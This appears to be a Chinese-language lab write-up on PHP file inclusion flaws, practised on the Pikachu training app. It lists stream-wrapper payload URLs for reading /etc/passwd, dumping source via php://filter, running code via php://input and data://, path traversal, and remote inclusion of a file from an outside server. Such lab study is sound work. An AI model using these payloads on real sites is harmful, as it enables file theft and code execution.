文件包含-基于Pikachu的学习

File_Include(文件包含)

原理

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。

环境要求

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

文件包含常见函数

nclude()
require()
include_once()
require_once()

PHP伪协议

CTF中文件包含漏洞总结-CSDN博客

PHP伪协议总结 - 个人文章 - SegmentFault 思否

file://

用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
比如:

http://www.xxx.com?file=file:///etc/passsword

http://

用于访问远程http协议网络路径的文件。

http://www.xxx.com?file=http://127.0.0.1/xxx.php

php://

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码

php://filter

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。

http://www.xxx.com?file=php://filter/resource=xxx.php

可以使用 convert.base64-encode这个过滤器,去将文件里面转成base64去输出

http://www.xxx.com?file=php://filter/read=convert.base64-encode/resource=xxx.php

php://input

使用php://input,然后再POST数据,我们所输入的数据会被当作php代码去执行,所以我们可以这样使用

http://www.xxx.com?file=php://input
POST的数据:<?php phpinfo();?>

data://

数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。

他是以GET传递参数,所以我们可以这样用

http://www.xxx.com?file=data://text/plain,<?php%20phpinfo();?>
或者是base64编码
http://www.xxx.com?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

zip://

zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

Pikachu

本地文件包含

打开题目,选一个参数,发现url改变,并且是file+数字,于是多试了几次,的确是这样的

当我尝试到file6的时候,发现了好东西

试到file7,出现了报错,路径都被回显出来了:

fi_loal.php去包含和他同一个路径下include文件夹的文件。

我们就可以根据这个路径,去访问其他地方的文件,这里我在pikachu-matser下已写好文件,我们就访问他,

<?php phpinfo();?> //文件内容

然后构造payload:

http://localhost/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../test.txt&submit=%E6%8F%90%E4%BA%A4

成功了。

远程文件包含

随便弄了一个参数,看url有了路径

这边是我云服务器写好了文件,可以直接远程访问

http://localhost/pikachu-master/vul/fileinclude/fi_remote.php?filename=http://8.130.131.63/1.txt&submit=%E6%8F%90%E4%BA%A4

成功了!

热门相关:纣临   惹火小辣妻:老公,用力点   学霸你女朋友掉了   误踩老公底线:甜心难招架!   娘娘每天都在洗白